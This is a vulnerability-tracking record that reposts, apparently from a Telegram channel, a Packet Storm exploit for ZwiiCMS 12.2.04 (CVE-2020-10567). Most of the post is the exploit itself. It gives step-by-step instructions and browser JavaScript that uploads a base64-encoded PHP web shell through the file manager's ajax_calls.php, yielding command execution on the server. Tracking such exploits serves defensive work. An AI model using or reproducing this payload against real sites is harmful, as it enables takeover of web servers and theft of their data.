{"uuid": "57235177-023f-4d50-a6f8-2d7c9d5e6224", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10567", "type": "seen", "source": "https://t.me/hacking_Attack/93543", "content": "Exploit Collector\nZwiiCMS 12.2.04 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nZwiiCMS version 12.2.04 suffers from an authenticated remote code execution vulnerability.\n\nSHA-256 | eb76d5e63d49a529d995356a055f296bd4746ac15c006561a9eaa8406810db0d\n\nDownload\n# Exploit Title: ZwiiCMS 12.2.04 Remote Code Execution (Authenticated) \n# Date: 03/06/2023\n# Exploit Author: Hadi Mene\n# Vendor Homepage: https://zwiicms.fr/\n# Version: 12.2.04 and potentially lower versions \n# CVE: CVE-2020-10567\n# Category: webapps\nZwiiCMS 12.2.04 uses \"Responible FileManager\" 9.14.0 for its file manager feature. ZwiiCMS is vulnerable to CVE-2020-10567 as it is possible for\nan authenticated user to use ajax_calls.php to upload a php file via a base64 encoded file and gain Remote Code Execution \ndue to a lack of extension check on the uploaded file.\n\nOriginal CVE author : hackoclipse\nhttps://github.com/trippo/ResponsiveFilemanager/issues/600\nVulnerable code (ajax_calls.php) :\n\n// there is no extension check on $_POST['name'] and the content of $_POST['url'] can be b64 decoded without being\nnecessarily an image\n\n81  case 'save_img':\n82      $info = pathinfo($_POST['name']);\n83  $image_data = $_POST['url'];\n84\n85  if (preg_match('/^data:image\\/(\\w+);base64,/', $image_data, $type)) {\n86       $image_data = substr($image_data, strpos($image_data, ',') + 1);\n87       $type = strtolower($type[1]); // jpg, png, gif\n88\n89       $image_data = base64_decode($image_data);\nPoC:\n\n1) Login in the Administration Panel. \n2) Click on the Folder icon on the top of the panel.\n3) Open the Developer Tools for that page.\n4) Copy,Edit and Execute the Javascript Code below .\n5) Access your PHP shell at http://ZWIICMS_URL/site/file/source/shell.php?cmd=COMMAND\n\nJavascript Code\n######\n\nfunction submitRequest()\n{\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", \"https:\\/\\/192.168.0.27\\/zwiicms\\/core\\/vendor\\/filemanager\\/ajax_calls.php?action=save_img\", true);\nxhr.setRequestHeader(\"Accept\", \"*\\/*\");\nxhr.setRequestHeader(\"Content-Type\", \"application\\/x-www-form-urlencoded; charset=UTF-8\");\nxhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.9\");\nxhr.withCredentials = true;\nvar body = \"url=data:image/jpeg;base64,PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg==&path=&name=shell.php\";\nvar aBody = new Uint8Array(body.length);\nfor (var i = 0; i < aBody.length; i++)\naBody[i] = body.charCodeAt(i); \nxhr.send(new Blob([aBody]));\n}\nsubmitRequest();\n\n######\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:22.903683Z"}